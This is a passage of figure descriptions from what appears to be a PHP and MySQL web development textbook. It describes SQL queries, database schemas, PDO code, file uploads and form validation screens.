BookID(Foreign key)

AuthorID(Foreign key)

Authors (table name)

AuthorID(primary key)

Name

A line connects Books and BookAuthors, with 1 and infinity represented near
two tables. Another line represents BookAuthors and Authors with infinity
and 1 represented near two tables.

SQL statement is shown as follows:

"SELECT Books.BookID, Books.Title, Authors.Name, Books.CopyrightYear

FROM Books

INNER JOIN (Authors INNER JOIN BookAuthors ON Authors.AuthorID =
BookAuthors.AuthorId)

ON Books.BookID = BookAuthors.BookId"

Here, "Books.BookID = BookAuthors.BookId" points to first two tables--



Books and BookAuthors. Expression, "(Authors INNER JOIN BookAuthors
ON Authors.AuthorID = BookAuthors.AuthorId)" points to second and third
tables--BookAuthors and Authors.



First select statement with aggregate function is shown as follows:

SELECT Count(ArtWorkID) AS NumPaintings

FROM ArtWorks

WHERE YearOfWork > 1900

Text pointing to "Count(ArtWorkID)" reads, "This aggregate function returns
a count of the number of records".

Another text pointing to "AS NumPaintings" reads, "Defines an alias for the
calculated value."

Third text pointing to "YearOfWork > 1900" reads, "Count number of
paintings after year 1900".

Query returns a single record with a single value, as follows:

NumPaintings: 745

Second select statement that uses "GROUP BY" keyword is shown as
follows:

SELECT Nationality, Count(ArtistID) AS NumArtists

FROM Artists

GROUP BY Nationality

Text pointing to "GROUP BY" reads, "SQL keywords to group output by
specified fields".

Query returns following values in two columns:

Nationality: NumArtists

Belgium: 4



England: 15

France: 36

Germany: 27

Italy: 53

A note above table reads, "This SQL statement returns as many records as
there are unique values in the group-by field."



SQL INSERT statement is shown as follows:

INSERT INTO ArtWorks (Title, YearOfWork, ArtistID)

VALUES ('Night Watch', 1642, 105)

In this statement, INSERT INTO is marked as "SQL keywords for inserting
(adding) a new record".

"ArtWorks" is marked as Table name.

"(Title, YearOfWork, ArtistID)" is marked as "Fields that will receive the
data values".

Text pointing to ('Night Watch', 1642, 105) reads, "Values to be inserted.
Note that string values must be within quotes (single or double)."

A note next to query reads, "Primary key fields are often set to
AUTO_INCREMENT, which means the DBMS will set it to a unique value
when a new record is inserted."

A second INSERT statement is displayed as follows:

"INSERT INTO ArtWorks

SET Title='Night Watch', YearOfWork=1642, ArtistID=105"

Text pointing to second part of statement after SET reads, "Nonstandard
alternate MySQL syntax, which is useful when inserting record with many
fields (less likely to insert wrong data into a field)."

UPDATE statement is displayed as follows:

"UPDATE ArtWorks

SET Title='Night Watch', YearOfWork=1642, ArtistID=105 WHERE
ArtWorkID=54"



A text pointing to "Title='Night Watch', YearOfWork=1642, ArtistID=105"
reads, "Specify the values for each updated field. Note: Primary key fields
that are

AUTO_INCREMENT cannot have their values updated."

Another text pointing to "WHERE ArtWorkID=54" reads, "It is essential to
specify which record to update, otherwise it will update all the records!"

DELETE statement is displayed as follows:

DELETE FROM ArtWorks

WHERE ArtWorkID=54

A text pointing to "WHERE ArtWorkID=54" reads, "It is essential to specify
which record to delete, otherwise it will delete all the records!"



Illustration shows a two-phase commit process happening between a
"Transaction manager" and two "Resource managers". Transaction manager
is located on a web server which has its own "Local DBMS" transactions.
Two resource managers are located on two independent servers with their
own local DBMS transactions.

Step 1 shows a "Prepare" command from transaction manager to one of
resource managers. In step 2, resource manager signals a "Prepare done" back
to transaction manager once requested step is completed. Step 3 shows a
"Prepare" command from transaction manager to second resource manager.
In step 4, second resource manager signals back a "Prepare done". This is the
first phase.

A text describes step 5 as follows: "If everything prepared then send commit
messages, otherwise send out rollback messages to each resource manager".

In the second phase, steps 6 and 7 show "Prepare" and "Prepare done" signals
between transaction manager and first resource manager. Steps 8 and 9 show
same two signals flow between transaction manager and second resource
manager.



Books table is shown as follows:

ISBN: Title : Year

0132569035: Computer Science, An Overview: 2012

0132828936: Fluency with Information Technology: 2013

Two binary trees of nodes are depicted next to table, representing two
indexes. Tree has 4 levels of nodes, with each node giving rise to two more
nodes at next level. Thus top most level has one node, which divides into two
nodes at second level, which further divide into 4 nodes at level 3, and 8
nodes at level 4.

First index is labeled as "ISBN Index: Created automatically for primary key
(ISBN)". A node at level two points to "2012" value in table.

Second index is labeled as "Title Index: CREATE INDEX title_index ON
Books (Title)". A node at level three of this index points to the "2012" value
in the table.



Illustration shows relational design through four tables that contain a user's
personal information. Four tables are displayed with following data:

User Table

ID: FirstName: LastName: AddressID

142: Pablo: Picasso: 998.

Address Table

ID: Address1: CityID: PostalCode

998: 15-23 Carrer Montcada: 320: 08003

City Table:

ID: CityName: CountryID

320: Barcelona: 44

Country Table:

ID: Name: Population

44: Spain: 46, 042, 812

Arrows are drawn between tables in following order.

AddressID: 998 from the first table points to ID: 998 in the second table.

CityID: 320 from the second table points to ID: 320 in the third table.

CountryID: 44 from the third table points to ID: 44 in the fourth table.

NoSQL storage displays this entire data in a single unit, as follows:

Document store design:



ID: Document

142:

{

"User": {

"FirstName": "Pablo",

"LastName": "Picasso",

"Address": {

"Address1": "15-23 Carrer Montcada",

"City": "Barcelona",

"Country": {

"Name": "Spain",

"Population": 46042812

},

"PostalCode": "08003"

}

}

}



Illustration shows following table that represents row-wise storage.

ID: Title: Artist: Year (column heading)

345: The Death of Marat: David: 1793

400: The School of Athens: Raphael: 1510

408: Bacchus and Ariadne: Titian: 1520

425: Girl with Pearl Earring: Vermeer: 1665

438: Starry Night: Van Gogh: 1889

Rrow numbers are marked from 1 to 5 in table.

For a column-wise storage, above data is displayed in separate columns, as
shown below:

ID(column heading)

345

400

408

425

438

Title(column heading)

The Death of Marat

The School of Athens

Bacchus and Ariadne



Girl with a Pearl Earring

Starry Night

Artist(column heading)

David

Raphael

Titian

Vermeer

Van Gogh

Year (column heading)

1793

1510

1521

1665

1889

For each column, the row numbers are depicted from 1 to 5.



Interactions and results are shown in screenshot as follows:

Database changed

mysql > SHOW TABLES;

(table)

Tables_in_book_database (column heading)

authors

bindingtypes

bookauthors

books

categories

disciplines

imprints

productionstatuses

subcategories

9 rows in set (0.00 sec)

mysql > SHOW COLUMNS IN authors;

(table)

Field: Type: Null: Key: Default: Extra (column names)

ID: int(11): NO: PRI: NULL: auto_increment



FirstName: varchar(255): YES: n/a: NULL; n/a

LastName: varchar(255): YES: n/a: NULL; n/a

Institution: varchar(255): YES: n/a: NULL; n/a

4 rows in set (0.00 sec)

mysql > SELECT * FROM authors WHERE FirstName LIKE "A%";

(table)

ID: FirstName: LastName: Institution (column names)

2: Andrew: Abel: Wharton School of the University of Pennsylvania

25: Allen: Center: Null

37: Allen: Dooley: Santa Ana College

40: Andrew: DuBrin: Rochester Institute of Technology

56: Allan: Hambley: NULL

82: Arthur: Keown: Virginia Polytechnic Instit. and State University

102: Annie: McKee: Null

119: Arthur: O'Sullivan: Null

172: Allyn: Washington: Dutchess Community College

194: Anne Frances: Wysocki: University of Wisconsin, Milwaukee

198: Alice M.: Gillam: University of Wisconsin--Milwaukee

214: Anthony P.: O'Brien: Lehigh University

216: Alvin C.: Burns: NULL



225: Abbey: Dietel NULL

252: Alvin: Arens: Michigan State University

258: Ali: Ovlia: NULL

270: Anne: Winkler: NULL

275: Alan: Marks: DeVry University

19 rows in set (0.00 sec)

mysql>



First screen shows a phpMyAdmin page that displays two panels for general
settings and appearance settings, and two panels that show information about
database server and web server. Left panel lists a few database names, and a
dropdown menu labeled as "Recent tables". Text pointing to database names
reads, "MySQL has a number of predefined databases it uses for its own
operation."

In second screen, database "bookcrm" is selected in the left panel. All tables
in this database are listed below it. Main part of screen lists these table
names, and also provided clickable buttons for following actions: Browse,
Structure, Search, Insert, Empty, Drop.

Text pointing to table names in left panel reads, "phpMyAdmin allows you to
view and manipulate any table in a database."



Left panel of workbench shows two views: Bird's eye and Layer tree. Bird's
eye view displays arrangement of various components. Layer tree view
displays a list of objects in database.

Main panel of workbench is titled as "Diagram". It displays boxes for each of
tables in database, like categories, subcategories, books, imprints,
productionstatuses, etc. Each box displays further information about column
names and charactertypes in respective tables.

Bottom panel shows schema of a selected table. It lists all columns,
datatypes, and further information about that column in checkboxes.



The algorithm is displayed in five steps as follows:

<?php

try {

(Next five lines are marked as step 1)

$connString = "mysql:host=localhost;dbname=bookcrm";

$user = "testuser";

$pass = "mypassword";

$pdo = new PDO($connString,$user,$pass);

$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);

(Next two lines are marked as step 3)

$sql = "SELECT * FROM Categories ORDER BY CategoryName";

$result = $pdo->query($sql);

(Next two lines are marked as step 4)

while ($row = $result->fetch()) {

echo $row['ID'] . " - " . $row['CategoryName'] . ",<br/>";

}

(Next line is marked as step 5)

$pdo = null;

}



(Next two lines are marked as step 2)

catch (PDOException $e) {

die( $e->getMessage() );

}

?>



Illustration shows following queries:

$sql = "select * from Paintings";

$result = $pdo->query($sql);

Resulting table is shown as follows:

ID: Title: Artist: Year (column headings)

345: The Death of Marat: David: 1793

400: The School of Athens: Raphael: 1510

408: Bacchus and Ariadne: Titian: 1520

425: Girl with Pearl Earring: Vermeer: 1665

438: Starry Night: Van Gogh: 1889

Text pointing to table content reads, "$result :Result set is a type of cursor to
the retrieved data"

An arrow from first row of table points to following "fetch" function:

$row = $result->fetch()

Two "$row associative arrays" are displayed as a result of fetch action. First
array displays four column headings as ID: Title: Artist: Year, and is labeled
as "keys". Second array displays the contents of first row as 345: Death of
Marat: David: 1793, and is labeled as "values".



Figure displays following code:

<form method="post" action="rename.php">

<input type="text" name="old" /><br/>

<input type="text" name="new" /><br/>

<input type="submit" />

</form>

A browser window titled as "Rename Category form" is displayed. It shows
two input fields with following labels and data along with a save button:

Category to change: English

New category name: Communications

An update query is displayed below table as follows:

UPDATE Categories SET CategoryName='Communications' WHERE
CategoryName='English'

An arrow points from "Communications" in second input field of browser to
"SET CategoryName= " in the update query, with the following text
"$_POST['new']: Communications".

Another arrow points from "English" in first input field of browser to
"WHERE CategoryName='English' " in update query, with following text
"$_POST['old']: English".



The database schema shows the following nine tables:

Cities (table name)

Citycode (Primary key)

AsciiName

Country code

Latitude

Longitude

Population

Elevation

Timezone

Countries (table name)

ISO (Primary key)

ISONumeric

CountryName

Capital

Area

Population

Continent

TopLevelDomain



CurrencyCode

CurrencyName

PhoneCountryCode

Languages

Neighbours

CountryDescription

Continents (table name)

ContinentCode(primary key)

ContinentName

GeoNameId

Users (table name)

UserId(primary key)

FirstName

LastName

Address

City

Region

Country

Postal

Phone



Email

Privacy

UsersLogin (table name)

UserId(primary key)

UserName

Password

Salt

State

DateJoined

DateLastModified

ImageRating(table name)

ImageRatingID(primary key)

ImageID

Rating

ImageDetails(table name)

ImageID(primary key)

UserID

Title

Description

Latitude



Longitude

CityCode

CountryCodeISO

ContinentCode

Path

PostImages(table name)

ImageID(primary key)

PostID(primary key)

Posts (table name)

PostID (primary key)

MainPostImageID

UserID

Title

Message

PostTime

The relation between tables is depicted as follows:

Cities to Countries: infinity to 1

Cities to ImageDetails: 1 to infinity

Countries to Continents: infinity to 1

Countries to ImageDetails: 1 to infinity



ImageRating to ImageDetails: infinity to 1

ImageDetails to PostImages: 1 to infinity

ImageDetails to Posts: 1 to infinity

ImageDetails to Users: infinity to 1

PostImages to Posts: infinity to 1

Users to Posts: 1 to infinity

Users to UsersLogin: 1 to 1



The db connection code is displayed as follows:

<?php

// get database connection details

require_once('config-travel.php');

The connection string, 'config-travel.php' is expanded as follows:

<?php

define('DBHOST', 'localhost');

define('DBNAME', 'travel');

define('DBUSER', 'testuser2');

define('DBPASS', 'mypassword');

define('DBCONNSTRING',

'mysql:host=localhost;dbname=travel');

?>

The continent is then retrieved with the following code:

// retrieve continent from querystring

$continent = 'EU';

if (isset($_GET['continent'])) {

$continent = $_GET['continent'];

}



?>

...

<h1>Countries</h1>

<?php

try {

$pdo = new PDO(DBCONNSTRING,DBUSER,DBPASS);

$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);

The following query is constructed to to retrieve the countries for the selected
continent:

// construct parameterized query - notice the ? parameter

$sql = "SELECT * FROM geocountries WHERE Continent=? ORDER BY
CountryName ";

// run the prepared statement

$statement = $pdo->prepare($sql);

$statement->bindValue(1, $continent);

$statement->execute();

// output the list

echo makeCountryList($statement);

}

catch (PDOException $e) {



die( $e->getMessage() );

}

finally {

$pdo = null;

}

Finally, following fetch function is executed:

function makeCountryList($statement) {

$htmlList= '<ul>';

$foundOne = false;

while ($row = $statement->fetch()) {

$foundOne = true;

$htmlList .= '<li>';

$htmlList .= '<a href="country.php?iso=' . $row['ISO'] . '">';

$htmlList .= $row['CountryName'];

$htmlList .= '</a>';

$htmlList .= '</li>';

}

$htmlList.='</ul>';

if ($foundOne) return $htmlList;

return 'No countries found';



}

?>

Illustration shows a browser that lists the following countries:

Countries

Anguilla

Antigua and Barbuda

Aruba

Bahamas

Barbados

Belize

Bermuda

Bonair

British Virgin Islands

Canada

Cayman Islands

Costa rica

Cuba

Curacao

Dominica

...



The database schema shows 18 tables as follows:

TypeShippers (table name)

ShipperID(primary key)

ShipperName

ShipperDescription

ShipperArgTime

ShipperClass

ShipperBaseFee

ShipperWeightFee

CustomerLogon (table name)

CustomerId(primary key)

UserName

Pass

Salt

State

DateJoined

DateLastModified

Customers (table name)

CustomerId (primary key)



FirstName

LastName

Address

City

Region

Country

Postal

Phone

Email

Privacy

Orders (table name)

OrderId (primary key

ShipperId

CustomerId

DateStarted

Quantity

OrderDetails (table name)

OrderDetailID(primary key)

OrderID

PaintingID



FrameID

GlassID

MattID

PaintingSubjects (table name)

PaintingSubjectID(primary key)

PaintingID

SubjectID

PaintingGenres(table name)

PaintingGenreID(primary key)

PaintingID

GenreID

TypesFrames (table name)

FrameID (primary key)

Title

Price

Color

Style

TypesGlass (table name)

GlassID (primary key)

Title



Description

Price

TypeMatt (table name)

MattID(primary key)

Title

ColorCode

Paintings(table name)

PaintingID (primary key)

ArtistID

GalleryID

ImageFileName

Title

ShapeID

MuseumLink

AccessionNumber

CopyrightText

Description

Excerpt

YearOfWork

Width



Height

Medium

Cost

MSRP

GoogleLink

GoogleDescription

WikiLink

Visits (table name)

VisitID (primary key)

PaintingID

DateViewed

IpAddress

CountryCode

Artists (table name)

ArtistID (primary key)

FirstName

LastName

Nationality

Gender

YearOfBirth



YearOfDeath

Details

ArtistLink

Reviews (table name)

RatingID (primary key)

PaintingID

ReviewDate

Rating

Comment

Shapes (table name)

ShapeID (primary key)

ShapeName

Eras (table name)

EraID (primary key)

EraName

EraYears

Subjects (table name)

SubjectID (primary key)

SubjectName

Genres (table name)



GenreID (primary key)

GenreName

EraID

Description

Link

The following nine tables have an inverted red triangle displayed next to the
table name:

TypeShippers, CustomerLogin, Visits, Customers, Orders, OrderDetails,
TypesFrames, TypesGlass, TypesMatt

The relation between the 18 tables is depicted as follows:

TypeShippers to Orders: 1 to infinity

CustomerLogon to Customers: 1 to 1

Visits to Paintings: infinity to 1

Artists to Paintings: 1 to infinity

Customers to Orders: 1 to infinity

Orders to OrderDetails: 1 to infinity

Paintings to OrderDetails: 1 to infinity

Paintings to PaintingSubjects: 1 to infinity

Paintings to PaintingGenres: 1 to infinity

Paintings to Reviews: 1 to infinity

Paintings to Shapes: infinity to 1



Eras to Genres: 1 to infinity

OrderDetails to TypesFrames: infinity to 1

OrderDetails to TypesGlass: infinity to 1

OrderDetails to TypesMatt: infinity to 1

PaintingSubjects to Subjects: infinity to 1

PaintingGenres to Genres: infinity to 1



The database schema shows 17 tables as follows:

Countries (table name)

CountryCode (primary key)

CountryName

Capital

Area

Population

Continent

TopLevelDomain

CurrencyCode

CurrencyName

PhoneCountryCode

Languages

Neighbours

Categories (table name)

CategoryID(primary key)

CategoryName

BookVisits (table name)

VisitID (primary key)



BookID

DateViewed

IpAddress

CountryCode

SubCategories (table name)

SubCategoryID (primary key)

CategoryID

SubCategoryName

Imprints (table name)

ImprintID (primary key)

Imprint

Books (table name)

BookID (primary key)

ISBN10

ISBN13

Title

CopyrightYear

SubCategoryID

ImprintID

ProductionStatusID



BindingTypeID

TrimSize

PageCountsEditorialEst

LatestInstockDate

Description

CoverImage

BookAuthors (table name)

BookAuthorID (primary key)

BookID

AuthorID

Order

AdoptionBooks (table name)

AdoptionDetailID (primary key)

AdoptionID

BookID

Quantity

Statuses (table name)

StatusID (primary key)

Status

Authors (table name)



AuthorID (primary key)

FirstName

LastName

Institution

Adoptions (table name)

AdoptionID (primary key)

UniverityID

ContactID

AdoptionDate

Universities (table name)

UniversityID (primary key)

Name

Address

City

State

Zip

Website

Longitude

Latitude

Contacts (table name)



ContactID (primary key)

FirstName

LastName

Email

BindingTypes (table name)

BindingTypeID (primary key)

BindingType

EmployeeToDo (table name)

ToDoID (primary key)

EmployeeID

Status

Priority

DateBy

Description

Employees (table name)

EmployeeID (primary key)

FirstName

LastName

Address

City



Region

Country

Postal

Email

EmployeeMessages (table name)

MessageID (primary key)

EmployeeID

ContactID

MessageDate

Category

Content

Following three tables have an inverted red triangle displayed next to table
names: Countries, BookVisits, EmployeeMessages

Relation between tables is depicted as follows:

Countries to BookVisits: 1 to infinity

Categories to SubCategories: infinity to 1

BookVisits to Books: infinity to 1

SubCategories to Books: 1 to infinity

Imprints to Books: 1 to infinity

BindingTypes to Books: 1 to infinity

EmployeeToDo to Employees: infinity to 1



Books to BookAuthors: 1 to infinity

Books to AdoptionBooks: 1 to infinity

Books to Statuses: infinity to 1

Employees to EmployeeMessages: 1 to infinity

EmployeeMessages to Contacts: infinity to 1

BookAuthors to Authors: infinity to 1

AdoptionBooks to Adoptions: infinity to 1

Adoptions to Universities: infinity to 1

Adoptions to Contacts: infinity to 1



Illustration shows three screens. First screen is one that is displayed when
user requests for a search page. Page shows an input box labeled "Search
title", containing a placeholder text that reads, "Enter search string". A submit
button is displayed next to input field.

In second screen user's search term, "business" is displayed in input box.
Search results are displayed in a simple HTML table, showing about 15 book
titles along with an index number and year of publication. Text pointing to
URL of this screen reads, "To aid in debugging, we will use HTTP GET."

In third screen, input string is "zxcz". No search results are displayed. Text
next to screen reads, "If there are no matches, won't display anything (later
we can add error messages)".



Screen shows an input text box which displays the following PHP error.

"<br /><b>Notice</b>: Undefined index: txtSearch in
<b>C:\xampp\htdocs\chapters\10\search-results.php</b> on line <b>39</b>
<br />"

Illustration also displays following code which is part of Listing 14.25.

<input type="search"

name="<?php echo SEARCHBOX; ?>"

placeholder="Enter search string"

value="<?php echo getSearchFor(); ?>" />

Line "echo getSearchFor();" is highlighted as code that is generating error.



Flow diagram shows two flows. First flow is as follows:

Is there query string information?

(If yes) Are we editing existing? (i.e., METHOD=GET)

(If no) Are we saving data? (and go into the second flow)

(If yes) Retrieve requested data from the database.

Display retrieved data in the form.

Second flow is as follows:

Is there query string information?

(If no) Display a blank form (i.e. user will be adding a new record)

Are we saving data?

(if no) go back to previous step (Display a blank form)

(if yes) Is this a new record?

(If yes) Do an SQL INSERT: Then display message so user knows it
worked.

(If no) Do an SQL UPDATE: Then display message so user knows it
worked.



Figure shows two flows for adding a record and editing a record in four steps
each. In step 1 for adding a record, a page is displayed with a list of authors
under title "My Authors". A button labeled "Add new Author" is displayed at
bottom of list. In step 2, user clicks on this button. Text describes this step as
"When Add is selected, then a GET request is made to authorForm.php with
no query string."

A new page is displayed that shows "Author form" with input fields for
firstname, last name, institution, and an add button. User fills up fields and
clicks on "Add" button. This is step 3. A text describes this step as "When
user clicks Add button, POST request is made to authorForm.php". Another
page is displayed that shows a success message for adding a new author. This
is marked as step 4 which is described as "Page inserts new record in
database table, retrieves the DB-generated ID for the new record, and
displays message to provide feedback."

In step 1 for editing a record, a page is displayed with a list of authors under
title "My Authors". An edit button is displayed next to each Author record. In
step 2, user clicks on this button. A text describes this step as "When Edit is
selected, GET request is made to authorForm.php with requested author's ID
in querystring.."

A new page shows author form that is filled up with details of selected
author, along with an edit button. User makes changes in this page and clicks
on Edit button. This is step 3 which is described as "When user clicks Edit
button, POST request is made to authorForm.php."

Another page is displayed that shows a success message for editing record.
This is marked as step 4 which is described as "Page updates record in
database table and displays message to provide feedback."



Illustration shows four steps. In step 1, an upload field is displayed along
with two buttons labeled as "Browse" and "Submit query". Code for this form
is shown as follows:

<form enctype='multipart/form-data' method='post' action='upFile.php'>

<input type='file' name='file1 '></input>

<input type='submit'></input>

</form>

User selects an image file and uploads it by clicking the "Submit query"
button.

A text describes step 2 as, "PHP script retrieves uploaded file from $_FILES
array, gives it a unique file name, and then moves it to special location." The
illustration shows the "Submit Query" button pointing to an upload.php file.
The image is stored in /WEBROOT/ images/ folder as 983412824.jpg.

In step 3, a db table is displayed with following column names; ID: UID:
Path: ImageContent. A new record is created for uploaded image. A text
pointing to the new record reads, "PHP script then saves this information in
database table."

Step 4 shows a file labeled as "<img src="/images/983412824.jpg" />" which
points to saved image in location. A text describes this step as "Future
requests for this image can be made by any page by using the path of the
file."



Illustration shows four steps. In step 1, an upload field displayed along with
two buttons labeled as "Browse" and "Submit query". User selects an image
file and uploads it by clicking "Submit query" button.

A text describes step 2 as, "PHP script retrieves uploaded file from $_FILES
array, and saves the BLOB data in database." The illustration shows a
database table with the following column names; ID: UID: Path:
ImageContent. A new record is created for the uploaded image. The contents
of a file "upFile.php" are added to "ImageContent" field in new record.

A text describes step 3 as "Future requests for this image must be made via an
intermediary script using the ID." Script is shown as "<img
src="getImage.php?id=280" />" which retrieves a page labeled as
"getImage.php".

Step 4 is described as "This script will retrieve requested BLOB data and
display it as Content-type: image/jpeg."



Figure shows three screens. First screen shows a list of employees. Text next
to list reads, "List should be sorted by last name (there may be multiple
employees with the same name)." One of employee names, "Dorothy Arnold"
is highlighted. A text next to this name reads, "Each employee name should
be a link to chapter14-project1.php."

Another text reads, "Each link should contain the EmployeeID field for that
employee as a query string parameter." This text and also name "Dorothy
Arnold" from list point to url of second screen.

Second screen shows a list of employees. Another form labeled as "Employee
details" shows address of a selected employee, "Dorothy Arnold".

This form shows two more tabs labeled as "Address" and "To Do". Text
pointing to "Address" tab reads, "Within the Address tab group, display other
employee data".

In third screen, "To Do" tab is clicked for employee, "Dorothy Arnold". A
table is displayed with data in following columns: Date, Status, Priority,
Content. Text pointing to this tab name reads, "Within the TO DO tab group,
display related records from EmployeeToDo table, sorted by date."



Figure shows two screens of "Share Your Travels" website. Ffirst screen
shows a number of images displayed in a grid. Text pointing to these images
reads, "Filter area is used to filter the images displayed."

A filter is displayed on top with drop downs for continent and countries.
Countries dropdown is clicked, and a list of various countries is displayed.
Text pointing to this list reads, "Select lists populated using data from the
Countries and Continents tables."

Second screen shows "Greece" as the selected country in the filter. A few
images are displayed in space below. A part of url is highlighted which reads,
"&country=GR". Text pointing to this part of the url reads, "Filter settings are
sent via query string parameters."



Figure shows two screens of "art store" website. In first screen, left panel
shows three filters for "Artist", "Museum", and "Shape", along with a filter
button. Museum filter displays selection as "Rijksmuseum". Page lists three
paintings from this museum, with a thumbnail image and an accompanying
text for each painting.

Text pointing to filters on left panel reads, "Populate lists from Artists,
Galleries, and Shapes tables."

Another text pointing to filter button reads, "Filters list to show the paintings
that match filter."

A third text pointing to title of first painting in page reads, "Title should be
link to single_painting.php."

Second screen shows a specific painting. Text pointing to url of this screen
reads, "Query string indicates painting to display."

Painting in this screen is titled as "Portrait of a Couple, Probably Isaac
Abrahamsz Massa and Beatrix van der Laen". Artist's name is displayed as
"Frans Hals". Text pointing to this name reads, "You will need a query that
joins data from Paintings and Artists table."

A short description of painting is displayed below title. Further information
about painting is provided in four tabs, labeled as "Details", "Museum",
"Genres" and "Subjects". Text pointing to the last three tabs reads, "Museum,
Genre, and Subject information comes from related tables via separate
queries."

Cost of painting is displayed as 900 dollars. An input field labeled "Quantity"
is displayed, along with three lists labeled as "Frame", "Glass", and "Matt".
Text pointing to one of the lists reads, "Populate these lists from related
tables."



Example query string is shown as,
"id=0&name1=&name2=smith&name3=%20".

Text pointing to "name1" in above string reads, "Notice that this parameter
has no value". Another text pointing to "name3=%20" in this string reads,
"This parameter's value is a space character (URL encoded)."

Return values of variables passed through isset() function are shown as
follows, along with explanatory text:

isset($_GET['id']): returns: true

isset($_GET['name1']): returns: true (a text pointing to this line reads,
"Notice that a missing value for a parameter is still considered to be
isset.")

isset($_GET['name2']):returns: true

isset($_GET['name3']): returns: true

isset($_GET['name4']): returns : false (a text pointing to this line reads,
"Notice that only a missing parameter name is considered to be not
isset.")

Return values of the variables passed through empty() function are shown as
follows, along with explanatory text:

empty($_GET['id']): returns: true (a text pointing to this line reads,
"Notice that a value of zero is considered to be empty. This may be an
issue if zero is a “legitimate” value in the application.")

empty($_GET['name1']): returns: true

empty($_GET['name2']): returns: false

empty($_GET['name3']): returns: false

empty($_GET['name4']): returns: true ( text pointing to this line reads,



"Notice that a value of space is considered to be not empty.")



Screen shows a page labeled as "Form Validation Examples". It has various
input fields with labels and inputs entered as follows:

Title: Starry Night

Year: 4534

Medium: Oil on Canvas

Width: 45

Height: 56d3

Link: http://en.wikipedia.or/wiki/The_Starrry_Night

Two error messages are displayed on top of page, just below title, as follows:

The following data input errors must be corrected:

The year must be a valid number between 500 and 2014

The painting height must be a valid number larger than 0

First error message is also displayed next to "Year" field. Second error
message is displayed next to "Height" field also. The labels and inputs in
these two fields are highlighted in a red font.



Screen shows a page labeled as "Form Validation Examples". It has various
input fields, some of which are filled and rest left blank. Field names and
inputs/prompts are as follows:

Title: (Enter the painting title)

Year: (Enter the year of the painting)

Medium: Oil on Canvas

Width: 45

Height: (Enter the height in cm of the painting)

Link: (Enter Wikipedia link for painting)

Three error messages are displayed next to "Title", "Year", and "Height"
fields. These three labels and fields are highlighted in red. Error messages are
as follows:

Title: The title is required (it cannot be blank)

Year: The year must be a valid number between 500 and 2014

Height: The painting height must be valid number larger than 0



Screen shows a page labeled as "Form Validation Examples". It has various
input fields, some of which are filled and rest left blank. Each field has a
static textual hint displayed beneath it, which indicates type of input required.
Fields which are blank also display placeholder texts, which disappear once
input is entered.

Field names and inputs, along with static/placeholder texts are as follows:

Title: Starry Night (static text: Required)

Year: 1889 (static text: The year of the painting must be a valid number
between 500 and 2014)

Medium: Oil on Canvas (static text: The painting medium, e.g., oil on
board, acrylic or canvas)

Width: 73.7 (static text: The optional painting height must be valid
number larger than 0)

Height: ( Placeholder text: Enter the height in cm of the painting) (Static
text: The optional painting height must be valid number larger than 0)

Link: (Placeholder text: Enter Wikipedia link for painting) (Static text: If
there is a wikipedia page for this painting, enter its URL here)

Text which reads "Static textual hints" points to static texts for year and
medium fields.

Another text points to placeholder texts in height and link fields. This text
reads, "Placeholder text (visible until user enters a value into field)". The
code for the input is shown as, "<input type="text" ... placeholder="Enter the
height ...">"



Screen shows a page labeled as "Form Validation Examples". It has various
input fields like "Title, Year, Medium, Width, Height, and Link". Each input
field displays a placeholder text within, and also a question mark icon outside
it. When the mouse hovers on this icon next to title field, a pop up message is
displayed which reads, "Required".

Screen also shows a mouse-hover on link field. In this case, a pop-over
message is displayed which reads, "Hint: If there is a wikipedia page for this
painting, enter its URL here".



Webpage is titled as "Form Masking Examples". It shows three input fields
labeled as "Phone, Date of Birth, and Credit Card", along with an Add button.
Illustration shows three screens of this webpage.

In first screen, cursor is placed in phone field. Three underscored
placeholders are displayed in field, with first placeholder shown between
parenthesis.

In second screen, phone number is entered and cursor is placed in "Date of
Birth field". This field displays two underscored placeholders which are
separated by forward slashes.

Third screen shows entries in first two fields. Cursor is placed in credit card
field, which displays four underscored place holders.

Underscored placeholders in all three fields are identified as "Input masks".



Illustration shows various steps in three-stage error validation process. In step
1, user submits form in browser. Step 2 shows browser checking HTML5
validation, resulting in two outcomes, labeled as 3a and 3b. If errors are
present, submit is cancelled and error messages are displayed. This is step 3a.
If no errors are present, form moves to JavaScript platform, which is step 3b.

Next validation in JavaScript platform leads to two outcomes, labeled as 4a
and 4b. Step 4a states that "If errors, cancel submit and display error
messages to allow user to correct errors." This step points to a form displayed
with error messages in a browser. The second outcome, step 4b states that, "If
no errors, submit form (i.e., make request)." Request "formProcess.php" file
moves from browser to web server, which is marked as step 5.

Third validation happens on PHP platform in web server. Step 6 indicates
that PHP page validates passed data, leading to two outcomes labeled as 7a
and 7b. Step 7a states that, "If errors, page sends response with error
messages to allow user to correct errors". "Response formProcess.php" file is
sent to a browser page which displays error messages. Second outcome, step
7b states that, "If no errors, continue to process data (e.g., save to database,
etc.)".



Figure shows two screens. First screen shows a title "Form with validations".
It displays three fields labeled as "Country, Email, and Password", and also
displays a Register button. Placeholder texts are displayed inside each of
these input fields.

Second screen shows same page with validation messages. Country field is
empty and still displays the "Choose a country" placeholder message. A
validation message next to field reads, "Please select a country". Email field
shows junk characters entered. Validation message reads, "Invalid email".
Password field shows three asterices. Validation message next to field reads,
"Please enter a six character password".



Screen is titled as HTML5 Validation. It shows two input fields labeled as
"Title and Year", along with an add button. "Year" field shows an input as
1895. "Title" field is highlighted in red, and it shows a placeholder text which
reads "Enter the painting title". An html message is displayed below the field
which reads, "Please fill out this field."



Illustration shows two screens of "Share your Travels" website. First screen
shows a photo labeled as "Dusk on Santorini". Time stamp is missing in
image caption form. The continents field is empty in left panel. Similarly tags
field is empty in right panel. A text pointing below tags field reads, "PHP
stopped here, but we don't see why." Another text on top of screen reads,
"Without error reporting turned on, we don't see the error messages."

Second screen shows same page displaying a number of error messages. Text
near header reads, "With error reporting turned on, we see all the error
messages." Top of screen displays a paragraph of warning messages that
begins with "Warning: asort() expects parameter 1 to be array." Empty
"Continents" column displays a "Notice: Unidentified offset" error.

Similarly, an "Undefined index" notice is displayed for empty time stamp
field in image caption form. A "Fatal error" message is displayed under
empty tags. Text pointing to this error message reads, "Now we know why
PHP stopped working."



Figure shows two screens. Screen on top shows "Register" page in "art store"
website. Page shows two forms. First form, titled "Personal information"
displays input fields for name and phone. Second form, titled "Login
information" displays input fields for "Email, Password, Password Again", a
terms and conditions checkbox and a register button.

Text displayed next to this screen reads, "With each load, remove error class
